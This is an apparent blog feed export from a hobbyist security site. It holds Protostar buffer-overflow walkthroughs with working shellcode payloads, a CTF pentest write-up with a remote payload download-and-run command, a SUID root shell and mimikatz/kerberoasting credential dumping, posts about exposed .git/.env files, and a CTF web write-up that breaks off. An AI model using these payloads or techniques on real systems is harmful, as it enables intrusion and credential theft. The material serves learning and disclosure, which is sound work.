</div>]]></description><link>https://www.nullsession.pw/gofindgit/</link><guid isPermaLink="false">5e5b89b8b8cedc386147130f</guid><category><![CDATA[Dev]]></category><category><![CDATA[Blog]]></category><dc:creator><![CDATA[Anonymous]]></dc:creator><pubDate>Sun, 01 Mar 2020 10:09:29 GMT</pubDate><content:encoded><![CDATA[<div class="kg-card-markdown"><p>Inspired by my previous adventures and my recent Go encounters, here is my attempt to start something. A git directory finder on web roots written in go. Still a work in progress... <a href="https://github.com/ahboon/GoFindGit">https://github.com/ahboon/GoFindGit</a></p>
</div>]]></content:encoded></item><item><title><![CDATA[Protostar Exploit Practice]]></title><description><![CDATA[<div class="kg-card-markdown"><h1 id="ineedtolearnsomethingnew">I NEED TO LEARN SOMETHING NEW!!!!!</h1>
<p>And yes, I started to learn some C and assembly.. Which ultimately lead to the learning of software security. This started my interest to explore bufferoverflow, format string attacks and the list goes on..</p>
<p>If you are not familiar with the stack, watch this</p></div>]]></description><link>https://www.nullsession.pw/protostar-exploit-practice/</link><guid isPermaLink="false">5d3c581fb8cedc38614712d8</guid><category><![CDATA[Blog]]></category><category><![CDATA[CTF]]></category><dc:creator><![CDATA[Anonymous]]></dc:creator><pubDate>Sat, 27 Jul 2019 14:23:44 GMT</pubDate><content:encoded><![CDATA[<div class="kg-card-markdown"><h1 id="ineedtolearnsomethingnew">I NEED TO LEARN SOMETHING NEW!!!!!</h1>
<p>And yes, I started to learn some C and assembly.. Which ultimately lead to the learning of software security. This started my interest to explore bufferoverflow, format string attacks and the list goes on..</p>
<p>If you are not familiar with the stack, watch this first:<br>
<a href="https://www.youtube.com/watch?v=FNZ5o9S9prU">https://www.youtube.com/watch?v=FNZ5o9S9prU</a></p>
<p>And this to understand a little more on Bufferoverflow:<br>
<a href="https://payatu.com/understanding-stack-based-buffer-overflow/">https://payatu.com/understanding-stack-based-buffer-overflow/</a></p>
<p>Protostar is a beginner friendly exploitation VM. Source here: <a href="https://github.com/hellosputnik/exploit-exercises/tree/master/Protostar">https://github.com/hellosputnik/exploit-exercises/tree/master/Protostar</a></p>
<p>Time to share some of my learning experiences here.<br>
<em>The actual site is down. Here is a wayback machine to view the snapshots: <a href="https://web.archive.org/web/20140405135419/http://exploit-exercises.com/protostar/stack0">https://web.archive.org/web/20140405135419/http://exploit-exercises.com/protostar/stack0</a></em></p>
<p>Stack 0:</p>
<pre><code>1#include &lt;stdlib.h&gt;
2#include &lt;unistd.h&gt;
3#include &lt;stdio.h&gt;
4
5int main(int argc, char **argv)
6{
7  volatile int modified;
8  char buffer[64];
9
10  modified = 0;
11  gets(buffer);
12
13  if(modified != 0) {
14    printf(&quot;you have changed the 'modified' variable\n&quot;);
15  } else {
16    printf(&quot;Try again?\n&quot;);
17  }
18}
</code></pre>
<p>This is a simple buffer overflow challenge, where our goal is to modify the variable <code>modified</code>. There is not indication of what should it be modified to, therefore as long we overflow it, it will get to the logic we want running, which is having it to pring &quot;you have changed the 'modified' vaariable'.</p>
<p>First of all, a variabled called <code>buffer</code> was initialized with a size of 64. However, at the <code>gets()</code> function, it does not check for input size given by the user. Thus, this is the vulnerability. How it causes the 'bufferoverflow' is that when the input is read from the user, a &quot;long enough&quot; input will overwrite the value at <code>modified</code>.</p>
<p><img src="https://www.nullsession.pw/content/images/2019/07/stack0.PNG" alt="stack0"></p>
<p>Stack 1:</p>
<pre><code> 1#include &lt;stdlib.h&gt;
 2#include &lt;unistd.h&gt;
 3#include &lt;stdio.h&gt;
 4#include &lt;string.h&gt;
 5
 6int main(int argc, char **argv)
 7{
 8  volatile int modified;
 9  char buffer[64];
10
11  if(argc == 1) {
12    errx(1, &quot;please specify an argument\n&quot;);
13  }
14
15  modified = 0;
16  strcpy(buffer, argv[1]);
17
18  if(modified == 0x61626364) {
19    printf(&quot;you have correctly got the variable to the right value\n&quot;);
20  } else {
21    printf(&quot;Try again, you got 0x%08x\n&quot;, modified);
22  }
23}
</code></pre>
<p>Similar to Stak0, now we have to overwrite <code>modified</code> with <code>0x61626364</code>. However, we will be shown with the values written in memory!<br>
Using the following payload: <code>./stack1 `python -c 'print &quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x41&quot;'`</code>.<br>
<img src="https://www.nullsession.pw/content/images/2019/07/stack1_1.PNG" alt="stack1_1"><br>
We can clearly see that <code>\x41</code> is written into the memory of <code>modified</code> variable. We will then insert <code>0x61626364</code> in little endian format.</p>
<p>Using the following payload: <code>./stack1 `python -c 'print &quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x64\x63\x62\x61&quot;'`</code>.<br>
<img src="https://www.nullsession.pw/content/images/2019/07/stack1_2.PNG" alt="stack1_2"><br>
The value will then be correctly written into <code>modified</code>!</p>
<p>Stack 2:<br>
Similar to Stack 1, we are going to store our payload in the environment variable this time.</p>
<pre><code> 1#include &lt;stdlib.h&gt;
 2#include &lt;unistd.h&gt;
 3#include &lt;stdio.h&gt;
 4#include &lt;string.h&gt;
 5
 6int main(int argc, char **argv)
 7{
 8  volatile int modified;
 9  char buffer[64];
10  char *variable;
11
12  variable = getenv(&quot;GREENIE&quot;);
13
14  if(variable == NULL) {
15    errx(1, &quot;please set the GREENIE environment variable\n&quot;);
16  }
17
18  modified = 0;
19
20  strcpy(buffer, variable);
21
22  if(modified == 0x0d0a0d0a) {
23    printf(&quot;you have correctly modified the variable\n&quot;);
24  } else {
25    printf(&quot;Try again, you got 0x%08x\n&quot;, modified);
26  }
27
28}
</code></pre>
<p>Using the command <code>export GREENIE=$(python -c 'print &quot;A&quot;*100')</code> we will be able to store our payload in the environment. Make sure this is done first before going to the next step.</p>
<p>Next, we need to debug using GDB.<br>
To confirm that we have our, we need to first load the binary into GDB by doing <code>gdb stack2</code>. Next, we will set a break point at the <code>main()</code> function by doing <code>break *main</code>. This will set a breakpoint at <code>main()</code>, and we will be able to view the values loaded in memory.</p>
<p>Before running the above, I have changed my payload to <code>export GREENIE=$(python -c 'print &quot;A&quot;*64 + &quot;BBBB&quot;')</code></p>
<p>Type <code>run</code> and the program will pause at the point where it loads <code>main()</code>.<br>
<img src="https://www.nullsession.pw/content/images/2019/07/stack2.PNG" alt="stack2"><br>
Type <code>x/1000s $esp</code> to examine the stack.<br>
Presing <code>enter</code> a few times will bring you to the location where the environment variables are stored.<br>
<img src="https://www.nullsession.pw/content/images/2019/07/stack2_1.PNG" alt="stack2_1"><br>
Quit the output by pressing <code>q + enter</code>.<br>
Now to continue the program, type in <code>c</code> and press <code>Enter</code>.</p>
<p>Notice that similar to stack1, we have written <code>42424242</code> onto the variable and it prints out the variable as intended?<br>
<img src="https://www.nullsession.pw/content/images/2019/07/stack2_2.PNG" alt="stack2_2"><br>
To achieve the goal of this challenge, we will need to ensure the variable <code>modified</code> is written with <code>0x61626364</code>. Following the payload for stack1, we can write the needed value into the environment variable. Quit GDB by typing <code>quit</code> and enter. Use <code>export GREENIE=$(python -c 'print &quot;A&quot;*64+&quot;\x0a\x0d\x0a\x0d&quot;')</code> to change the envrionmetn variable, and then run the program normally this time as we no longer need GDB. :)<br>
<img src="https://www.nullsession.pw/content/images/2019/07/stack2_3.PNG" alt="stack2_3"></p>
<p>Stack 3:<br>
A built up from the previous challanges, stack 3 requires us to change the code execution flow.</p>
<pre><code> 1#include &lt;stdlib.h&gt;
 2#include &lt;unistd.h&gt;
 3#include &lt;stdio.h&gt;
 4#include &lt;string.h&gt;
 5
 6void win()
 7{
 8  printf(&quot;code flow successfully changed\n&quot;);
 9}
10
11int main(int argc, char **argv)
12{
13  volatile int (*fp)();
14  char buffer[64];
15
16  fp = 0;
17
18  gets(buffer);
19
20  if(fp) {
21    printf(&quot;calling function pointer, jumping to 0x%08x\n&quot;, fp);
22    fp();
23  }
24}
</code></pre>
<p>The method of exploitation is the same. However, instead of writing values, we will overwrite it with an address. This is because when we do a bufferoverflow on the stack, it wants to jump back to a certain address. This can be shown in the following screen shots.</p>
<p>First we need to generate a text file in <code>/tmp</code> named <code>payload.txt</code>. This will be the text file which GDB will read from when we want to supply a standard input.<br>
<code>python -c 'print &quot;A&quot;*64+&quot;BBBB&quot;' &gt; /tmp/payload.txt</code><br>
Then run <code>gdb stack3</code>, and type <code>run &lt; /tmp/payload.txt</code>.<br>
<img src="https://www.nullsession.pw/content/images/2019/07/stack3.PNG" alt="stack3"><br>
Realize that it is &quot;jumping to 0x42424242&quot;?<br>
This in fact is the behavior of the program.<br>
Now lets find out the address for <code>win()</code>.<br>
Using <code>objdump -t stack3 | grep win</code>, we will be able to identify the address where <code>win()</code> is stored.</p>
<pre><code>user@protostar/bin$ objdump -t stack3 | grep win
08048424 g     F .text	00000014              win
user@protostar:/opt/protostar/bin$ 
</code></pre>
<p>As shown, the location of <code>win()</code> is at <code>0x08048424</code>.<br>
All we have to do now is to repace the <code>BBBB</code> in our payload with the memory address of <code>win()</code> in little endian format!</p>
<p>The following command will instantly give us the WIN. <code>python -c 'print &quot;A&quot;*64+&quot;\x24\x84\x04\x08&quot;' | ./stack3</code><br>
<img src="https://www.nullsession.pw/content/images/2019/07/stack3_1.PNG" alt="stack3_1"></p>
<p>Stack 4:<br>
Similar to stack3, we need to change the code execution to execute the <code>win()</code> function instead.</p>
<pre><code> 1#include &lt;stdlib.h&gt;
 2#include &lt;unistd.h&gt;
 3#include &lt;stdio.h&gt;
 4#include &lt;string.h&gt;
 5
 6void win()
 7{
 8  printf(&quot;code flow successfully changed\n&quot;);
 9}
10
11int main(int argc, char **argv)
12{
13  char buffer[64];
14
15  gets(buffer);
16}
</code></pre>
<p>The vulnerable logic is still the <code>gets(buffer);</code> code at line 15. So we just have to over flow this! Similar to previous stack binary, the limit should an input of size 76 before it overflows into EBP. This can be checked with the following link as well: <a href="https://github.com/Svenito/exploit-pattern">https://github.com/Svenito/exploit-pattern</a>.</p>
<p>The next task is to find out the address of <code>win()</code>, and to do that, we can use <code>objdump -t stack4 | grep win</code>.<br>
<img src="https://www.nullsession.pw/content/images/2019/07/stack4.PNG" alt="stack4"></p>
<p>Once we got the address, all that is left is to make the exploit work! <code>python -c &quot;print 'A'*76 + '\xf4\x83\x04\x08'&quot; | ./stack4</code><br>
<img src="https://www.nullsession.pw/content/images/2019/07/stack4_1.PNG" alt="stack4_1"></p>
<p>Stack 5:<br>
Where the real shell popping starts. Hehe.</p>
<pre><code> 1#include &lt;stdlib.h&gt;
 2#include &lt;unistd.h&gt;
 3#include &lt;stdio.h&gt;
 4#include &lt;string.h&gt;
 5
 6int main(int argc, char **argv)
 7{
 8  char buffer[64];
 9
10  gets(buffer);
11}
</code></pre>
<p>Over here, we only see that the program would take an input and directly stores it to <code>buffer</code>. Since there is not &quot;win&quot; function to achieve, this means that its time to pop some shells! At first when I approach this...</p>
<p>First lets open this program with GDB and then cause a seg-fault by throwing in an input of length more than 76. <code>python -c 'print &quot;A&quot;*76+&quot;BBBB&quot;' &gt; /tmp/input</code><br>
<img src="https://www.nullsession.pw/content/images/2019/07/stack5.PNG" alt="stack5"><br>
Now lets find a usable <code>jmp esp</code> instruction loaded in this binary.<br>
First we use <code>info proc map</code> to see where was being loaded for this process.<br>
<img src="https://www.nullsession.pw/content/images/2019/07/stack5_1.PNG" alt="stack5_1"><br>
Putting my attention to <code>0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so</code>, I decided to give a try on this to look for possible <code>jmp esp</code> instructions within this range.</p>
<p>Using the command <code>find /b 0xb7e97000,0xb7fd5000,0xff,0xe4</code>, I then able to list possible addresses with <code>jmp esp</code>.<br>
<img src="https://www.nullsession.pw/content/images/2019/07/stack5_2.PNG" alt="stack5_2"><br>
So here is the plan. The payload will be as such: [padding] + [jmp esp] + [shellcode]. The idea is that wherever the thing is jumping to, it will return back to the shellcode and load the shellcode!</p>
<p>Final exploit code:</p>
<pre><code>python -c 'print &quot;A&quot;*76+&quot;\x1d\x9a\xe9\xb7&quot;+&quot;\x90&quot;*16+&quot;\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80&quot;' &gt; /tmp/input.txt
</code></pre>
<p>Executing it....<br>
<img src="https://www.nullsession.pw/content/images/2019/07/stack5_3.PNG" alt="stack5_3"></p>
<p>Work in progres...<br>
Left with Stack 6 and 7.</p>
<p>Credits to this guy for an awesome writeup as well which also helped my learning: <a href="https://www.ayrx.me/protostar-walkthrough-stack">https://www.ayrx.me/protostar-walkthrough-stack</a></p>
</div>]]></content:encoded></item><item><title><![CDATA[Sersiously?]]></title><description><![CDATA[<div class="kg-card-markdown"><p>I have recently disclosed a couple of websites with issues relating to exposed .env and exposed .git web resources. Theses websites belongs to reputable local companies. To make matters worse, one of it has its entire envrionment credentials stored in the <code>.env</code> file and potentially allowing an attacker to take</p></div>]]></description><link>https://www.nullsession.pw/sersiously/</link><guid isPermaLink="false">5cb4b300b8cedc38614712bf</guid><category><![CDATA[Blog]]></category><dc:creator><![CDATA[Anonymous]]></dc:creator><pubDate>Mon, 15 Apr 2019 16:52:54 GMT</pubDate><content:encoded><![CDATA[<div class="kg-card-markdown"><p>I have recently disclosed a couple of websites with issues relating to exposed .env and exposed .git web resources. Theses websites belongs to reputable local companies. To make matters worse, one of it has its entire envrionment credentials stored in the <code>.env</code> file and potentially allowing an attacker to take over the database and AWS environment. That's right, AWS environment.</p>
<p>Yes the blog title is literally <strong>&quot;Seriously?&quot;</strong>.</p>
<p>To my readers, if you can type in <code>https://&lt;your_domain&gt;/.git/HEAD</code> or <code>https://&lt;your_domain/.env</code> and receive a reply that looks like a text file, your number one priority is to fix it.</p>
<p>In a typical capture the flag compeition, finding this issue and successfully &quot;exploiting&quot; it is a point for the participant. But in a real world public internet scenario, it could be the next data breach news headline.</p>
<blockquote>
<p>Some personal insights...<br>
A typical exposed <code>.env</code> usually belongs to a PHP framework, like Laravel. It was only for this instance, I encountered a Wordpress app which has an exposed <code>.env</code> file. (Even though Wordpress is also using PHP)</p>
</blockquote>
<p>Here are some resources to help you fix such issues:<br>
[Apache] <a href="https://serverfault.com/questions/128069/how-do-i-prevent-apache-from-serving-the-git-directory">https://serverfault.com/questions/128069/how-do-i-prevent-apache-from-serving-the-git-directory</a><br>
[Nginx] <a href="https://gist.github.com/jaxbot/5748513">https://gist.github.com/jaxbot/5748513</a></p>
<p><em>Note: Links above shows how one can reconfigure their web server to prevent the serving of .git resources. The same can be done for <code>.env</code>  paths. Alternatively, WAFs or Cloudflare can be used.</em></p>
<p>Finally...<br>
Stay safe, and be responsible for your own data. Cheers!</p>
</div>]]></content:encoded></item><item><title><![CDATA[EY Hackathon (CTF Qualifiers) Writeup (2019)]]></title><description><![CDATA[<div class="kg-card-markdown"><p>The qualifers was a team based pentesting CTF, and it requires the knowledge of Windows and Linux systems, enumeration, privilege escalation, and lateral movement.</p>
<p>Targets:<br>
10.10.110.3 (Domain Controller for catalyst.local)<br>
10.10.110.100 (Linux Server running vulnerable service)<br>
10.10.110.101 (Windows server)<br>
10.</p></div>]]></description><link>https://www.nullsession.pw/ey-hackathon-ctf-qualifiers-writeup/</link><guid isPermaLink="false">5c413b2ab8cedc38614712a7</guid><category><![CDATA[Blog]]></category><category><![CDATA[CTF]]></category><dc:creator><![CDATA[Anonymous]]></dc:creator><pubDate>Sun, 20 Jan 2019 16:01:00 GMT</pubDate><media:content url="https://www.nullsession.pw/content/images/2019/01/network-2402637_1280.jpg" medium="image"/><content:encoded><![CDATA[<div class="kg-card-markdown"><img src="https://www.nullsession.pw/content/images/2019/01/network-2402637_1280.jpg" alt="EY Hackathon (CTF Qualifiers) Writeup (2019)"><p>The qualifers was a team based pentesting CTF, and it requires the knowledge of Windows and Linux systems, enumeration, privilege escalation, and lateral movement.</p>
<p>Targets:<br>
10.10.110.3 (Domain Controller for catalyst.local)<br>
10.10.110.100 (Linux Server running vulnerable service)<br>
10.10.110.101 (Windows server)<br>
10.10.110.102 (Windows server)<br>
10.10.110.200 (Windows client)</p>
<p>Also, through the use of Bloodhound, we were able to determine which service accounts were part of Domain Admin grooup. Additionally, PowerSploit helped us to enumerate the accounts with Local Admin rights.</p>
<h2 id="11010110100vulnerablewebapplicationleadingtorcesubsequentlyprivilegeescalationthroughmisconfiguredsuidbinary">1) 10.10.110.100 (Vulnerable web application leading to RCE. Subsequently privilege escalation through misconfigured SUID binary)</h2>
<p>An application called ProjeQtOr was installed on the server. Once logged in as admin, a quick google search of the version number presents us a known exploit. (<a href="https://www.exploit-db.com/exploits/45680">https://www.exploit-db.com/exploits/45680</a>). The exploit allows the unrestricted upload of a <code>.shtml</code> file which leads to a command execution. Once a shell was gained, privilege escalation was gained through the enumeration of root SUID binaries. The binary <code>flock</code> was listed as one of the binaries with root SUID permissions. My fellow teammate suggests that <code>flock -u / /bin/sh -p</code> would spawn a shell. Once used, a root shell was opened.</p>
<h2 id="21010110102vulnerablewebapplicationwithsystemprivilegecodeexecution">2) 10.10.110.102 (Vulnerable web application with SYSTEM privilege code execution)</h2>
<p>An application, PRTG Network Manager was installed on the server. The server allows the default user to run <code>system</code> privilege commands when a trigger happens (Like the failure to PING a server, and therefore 'triggering' an event). This allows act of adding users, and subsequently loading additional post exploitation tools to obtain more information. A shell was gain through the use of <code>wget -O shell.exe [ip address]/[payload] | cmd.exe</code>. Once and event is triggered, a shell will be given. (shell.exe created using msfvenom, listener initiated through msfconsole. Link to vulnerability: <a href="https://www.codewatch.org/blog/?p=453">https://www.codewatch.org/blog/?p=453</a>)</p>
<h2 id="31010110200lateralmovementthroughtheusemimikatzdiscoveringserviceaccountwithweakimplementations">3) 10.10.110.200 (Lateral movement through the use mimikatz, discovering service account with weak implementations)</h2>
<p>In 10.10.110.102, mimikatz was used to discover service accounts. According to this web page: <a href="https://www.cyberark.com/blog/service-accounts-weakest-link-chain/">https://www.cyberark.com/blog/service-accounts-weakest-link-chain/</a>. Following the guide, it was found that an account was using RC4-HMAC as the encryption scheme. Additionally, mimikatz allows the dumping of <code>.kirbi</code> files. Running  Get-TGSCipher (<a href="https://github.com/cyberark/RiskySPN/blob/master/Get-TGSCipher.ps1">https://github.com/cyberark/RiskySPN/blob/master/Get-TGSCipher.ps1</a>) would allow us to dump the hash, the Get-TGSCipher module allows the dumping of hash into hashcat format. (I do not need to explain the hashcat process). Then magic, we got credentials for 10.10.110.200. Enumeration from Powersploit on 10.10.110.102 also suggests that the vulnerable service account is <code>Local Admin</code> on 10.10.110.200.</p>
<h2 id="41010110101lateralmovementthroughtheuseofmetasploitlsadumpon1010110200">4) 10.10.110.101 (Lateral movement through the use of metasploit lsadump on 10.10.110.200)</h2>
<p>Since we had a service account from 10.10.110.200, we were able to use metasploits's SMB PSExec module to start a shell. Once meterpreter was injected, we loaded LSA Dump post exploitation module, and it dumped additional credentials which can be used on 10.10.110.101. Using crackmapexec, we were able to confirm that the account had Local Admin rights on the server.</p>
<h2 id="510101103domainadminaccessfromlateralmovementinto1010110101andsubsequentlyascriptcontaininganaccountwithdomainadmincredentials">5) 10.10.110.3 (Domain admin access from Lateral movement into 10.10.110.101, and subsequently a script containing an account with Domain Admin credentials)</h2>
<p>Since we had access on 10.10.110.101, exploring the file system presented us a directory called <code>scripts</code>. Investigating the contents within reveals a powershell script for an SQL job. Looking back at the data from bloodhound, a service account meant for SQL was part of the Domain Admin group. Since the credentials was hard-coded, we could check if it had acess to 10.10.110.3 using crackmapexec, and the results indicated that it had access. Therefore, domain admin achieved.</p>
<p>🐢🐢🐢🐢🐢<br>
Shells!</p>
<h3 id="takeawaysfromthisqualifiers">Takeaways from this qualifiers:</h3>
<ul>
<li>
<p>Enumeration is not just putting scripts into machines, and proceed to google search on XYZ exploit. Rather it is to understand that which binary does what and see if some weakness or misconfiguration can be leveraged on as well.</p>
</li>
<li>
<p>Manage to learn and practice mimikatz, kerberoasting, PowerSploit, crackmapexec, and also some practice on Lateral movement in a Windows environment. Pretty sure this would help us in our careers next time. (One does not get a to chance to attack a Windows AD envrionment everyday)</p>
</li>
<li>
<p>Of course never give up. We were stuck for 5 days. Readings after readings after readings made me understood Windows systems better, and also how certain weak implementations may cause actual enterprise systems to be taken over.</p>
</li>
</ul>
<h1 id="longlivekerberos">🔥 Long live Kerberos 🔥</h1>
</div>]]></content:encoded></item><item><title><![CDATA[All your Git is Mine! Oh wait.. Env too?]]></title><description><![CDATA[<div class="kg-card-markdown"><h1 id="gitexpose">Git Expose</h1>
<p>Exposed <code>.git</code> repositories is not something new. In fact, it has been reported many many times. But the question remains... &quot;Why does it still affect companies?&quot;</p>
<p>The goal of my current project which I named it <code>Git The World</code>, is to find out how open data</p></div>]]></description><link>https://www.nullsession.pw/all-your-git-is-mine/</link><guid isPermaLink="false">5c448673b8cedc38614712ac</guid><category><![CDATA[Dev]]></category><category><![CDATA[Blog]]></category><dc:creator><![CDATA[Anonymous]]></dc:creator><pubDate>Sun, 20 Jan 2019 15:14:25 GMT</pubDate><media:content url="https://www.nullsession.pw/content/images/2019/01/Capture.JPG" medium="image"/><content:encoded><![CDATA[<div class="kg-card-markdown"><h1 id="gitexpose">Git Expose</h1>
<img src="https://www.nullsession.pw/content/images/2019/01/Capture.JPG" alt="All your Git is Mine! Oh wait.. Env too?"><p>Exposed <code>.git</code> repositories is not something new. In fact, it has been reported many many times. But the question remains... &quot;Why does it still affect companies?&quot;</p>
<p>The goal of my current project which I named it <code>Git The World</code>, is to find out how open data sources like Rapid7's open data could be used as a weapon to put companies at jeopardy.</p>
<p>The severity of an exposed .git repository could lead to a complete take over by an attacker, simply because the attacker literally just <code>downloaded</code> your source code. It is a common sight to see hard-coded values in some web applications, but also dangerous.</p>
<p>Developers are trained to develop. Git IS a very great tool. But when not used and deployed in the correct manner, it could lead to serious security implications. For example, if a developer decides to put a &quot;convinient&quot; file upload service, all he needs to do is to google for an open source project that allows him to do the work. Next, he just need to change the name of the directory, and as long it is a non standard directory name, viola! Dirb or Gobuster would not catch it! He then proceeds to hard code credentials into the source code to &quot;secure&quot; it (just in case he shares the environment internally maybe?), and he calls it a &quot;File management system&quot; for &quot;websites&quot;. Essentially, it is also known as an attack vector in the attacker's perspective. Somehow, .git was exposed in this website. The attacker is able to dump the git files. But how? It is as simple as following the steps in the following GitTools git repository (<a href="https://github.com/internetwache/GitTools">https://github.com/internetwache/GitTools</a>). Inside, you have the two scripts any attacker needs! <code>Finder</code> and <code>Dumper</code>! Once Dumper is used, your source code is essentially compromised! If you happen to have the latest working production source code GIT repository in your web folder, then the attacker would get the same.</p>
<p>Once it is downloaded, all the attacker had to do was do a static analysis for hard-coded passwords, and also maybe... that secure &quot;File management system&quot; which you thought you renamed it, would not be found...</p>
<p>What happens after that, is totally up to your imagination. Exposed DB passwords? Lets try to login! Stored sensitive info on web root folder (Personal identification of customers, etc...), or how about that directory you renamed to upload files? Can I upload my own files too?</p>
<p>That is in short, how a simple misconfiguration could lead to a corporate IT nightmare. What's even worse, attackers can use open source data such as data from Rapid7 to do such probing! (<a href="https://opendata.rapid7.com/">https://opendata.rapid7.com/</a>)</p>
<p>The Finder script in the GitTools repository allows the discovery of an accessible .git repository. And with Rapid7 having a vast amount of open data, it is possible to list the number of domains with such misconfiguration!</p>
<h1 id="envexpose">Env Expose</h1>
<p>So... I asked myself... If the Finder was able to find <code>.git</code> files, how about modifying the script from finding <code>.git</code> to find <code>.env</code>? I modified the Finder script, and tested it on the open data which I downloaded. To my horror (and surprise), it worked! Information like SMTP accounts, Database Accounts, External API Keys, AWS Keys, and even the APP SECRET of the framework, was exposed! (Of course I did not use it)</p>
<p>Now let's think... If someone like me who just started cybersecurity is able to achieve this, what would someone with years of experience and the right resource achieve?</p>
<p>Never put sensitive information online.<br>
Or just configure your <code>.htaccess</code> file correctly.</p>
<p>Cheers.</p>
</div>]]></content:encoded></item><item><title><![CDATA[GLUG CTF 2018 Web Challenge Writeup]]></title><description><![CDATA[<div class="kg-card-markdown"><h2 id="inspection">Inspection</h2>
<pre><code>Head over to the link below to find the flag.
https://expect-glugctf.netlify.com/
</code></pre>
<p>This is a typical HTML source code view flag. Viewing source will give you the flag. <code>&lt;div&gt;&lt;!--The flag is GLUG{3el(0me_1o_$h3_N3xT_7eve7}--&gt;&lt;/div&gt;</code></p></div>]]></description><link>https://www.nullsession.pw/glug-ctf-2018-web-challenge-writeup/</link><guid isPermaLink="false">5bee6b50b8cedc386147129c</guid><dc:creator><![CDATA[Anonymous]]></dc:creator><pubDate>Fri, 16 Nov 2018 09:40:41 GMT</pubDate><content:encoded><![CDATA[<div class="kg-card-markdown"><h2 id="inspection">Inspection</h2>
<pre><code>Head over to the link below to find the flag.
https://expect-glugctf.netlify.com/
</code></pre>
<p>This is a typical HTML source code view flag. Viewing source will give you the flag. <code>&lt;div&gt;&lt;!--The flag is GLUG{3el(0me_1o_$h3_N3xT_7eve7}--&gt;&lt;/div&gt;</code></p>
<h2 id="gogetit">Go Get It!</h2>
<pre><code>Head over to the link below to find the flag.
http://104.248.49.223:7070/

Source code:
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
    &lt;title&gt;Flag!Flag!Flag!&lt;/title&gt;
    &lt;link rel=&quot;stylesheet&quot; href=&quot;css/main.css&quot;&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;div class='contain-flag'&gt;
      &lt;div class='pole'&gt;&lt;/div&gt;
      &lt;div class='flag'&gt;&lt;/div&gt;
      &lt;div class='shadow'&gt;&lt;/div&gt;
      &lt;div class='flag flag-2'&gt;&lt;/div&gt;
    &lt;/div&gt;
    &lt;div&gt;
        &lt;center&gt;
        &lt;h3&gt;This is just a decoy of the FLAG!&lt;/h3&gt;
        &lt;small&gt;If you ask nicely, maybe i will give it to you.&lt;/small&gt;
        &lt;small&gt;View Source of this page &lt;a href=&quot;https://pastebin.com/LvfdATxz&quot; target=&quot;_blank&quot;&gt;Here&lt;/a&gt;&lt;/small&gt;
        &lt;/center&gt;
    &lt;/div&gt;
    &lt;pre&gt;&lt;?php
    $flag = #REDACTED
 
    if(array_key_exists(&quot;flag&quot;, $_GET)) {
        if($_GET[&quot;flag&quot;] === &quot;true&quot;){
        echo $flag;
        }
    }
    ?&gt;
    &lt;/pre&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre>
<p>This is a challenge which expects a GET request with the variable 'flag', and its value equals to 'true'. Therefore, the solve for this is <a href="http://104.248.49.223:7070/?flag=true">http://104.248.49.223:7070/?flag=true</a>. <code>GLUG{4lw4y5_fuzz_f0r_h1dd3n_p4r4m373r5}</code></p>
<h2 id="rotten">Rotten</h2>
<pre><code>Head over to the link below to find the flag.
https://rotplayer-glugctf.netlify.com/

Source Code:

&lt;!DOCTYPE Html /&gt;
&lt;html&gt;
 &lt;head&gt;
 &lt;meta charset=&quot;utf-8&quot;&gt;
 &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1, shrink-to-fit=no&quot;&gt;
 &lt;link rel=&quot;stylesheet&quot; href=&quot;https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css&quot; integrity=&quot;sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm&quot; crossorigin=&quot;anonymous&quot;&gt;
 &lt;style type=&quot;text/css&quot;&gt;
 .ins {
  padding:auto;
  margin:5rem auto 0 auto;
  text-align:center;
 }
 .btn {
  padding:auto;
  margin:1rem;
 }
 &lt;/style&gt;
 &lt;title&gt;Rot Player&lt;/title&gt;
 &lt;/head&gt;
 &lt;body&gt;
&lt;div class=&quot;container text-center&quot;&gt;
 &lt;h2&gt;Rot Player&lt;/h2&gt;&lt;small&gt;Entry Point&lt;/small&gt;
 &lt;div class=&quot;container ins&quot;&gt;
	 &lt;input type=&quot;text&quot; name=&quot;flag&quot; id=&quot;flag&quot; placeholder=&quot;Enter the flag&quot; /&gt;&lt;br&gt;
	 &lt;button class=&quot;btn btn-primary&quot; id=&quot;check&quot; &gt;Login with Flag!&lt;/button&gt;
 &lt;/div&gt;
&lt;/div&gt;

 &lt;script type=&quot;text/javascript&quot;&gt;
 document.getElementById(&quot;check&quot;).onclick = function () {
 var flag = document.getElementById(&quot;flag&quot;).value;
 var rotFlag = flag.replace(/[a-zA-Z]/g, function(c){
 return String.fromCharCode((c &lt;= &quot;Z&quot; ? 90 : 122) &gt;= (c = c.charCodeAt(0) + 13) ? c : c - 26);});
 if (&quot;TYHT{py13a7_51q3_y061a_j17u_e0713!}&quot; == rotFlag) {
 alert(&quot;Correct flag!&quot;);
 } else {
 alert(&quot;Incorrect flag, rot again&quot;);
 }
 }
 &lt;/script&gt;

 &lt;/body&gt;
&lt;/html&gt;
</code></pre>
<p>This is a challenge which has the flag hardcoded in its javascript. However, it is ROT13-ed and therefore you are required to provide the CORRECT flag to 'match' the logic. Putting the matching condition from the source code into cyberchef (google it), will give you the flag. <code>GLUG{cl13n7_51d3_l061n_w17h_r0713!}</code></p>
<h2 id="thevideogame">The Videogame</h2>
<pre><code>One fine day,Rocket Raccoon found the video game that Groot was so obsessed with.Unfortunately,Groot had set a password on it. In the password hint,he had provided link to a website. Raccoon could not find anything in the website. Can you help him find it, so that he can play the videogame?

http://104.248.49.223:7071/
</code></pre>
<p>This is a challenge which requires the user to change the cookie. Examining the cookie, it shows <code>user:unknown</code>. Changing it to <code>user:ROOT</code> and reloading the page will give us the flag. <code>GLUG{I_@m_7r55t}</code></p>
<h2 id="referals">Referals</h2>
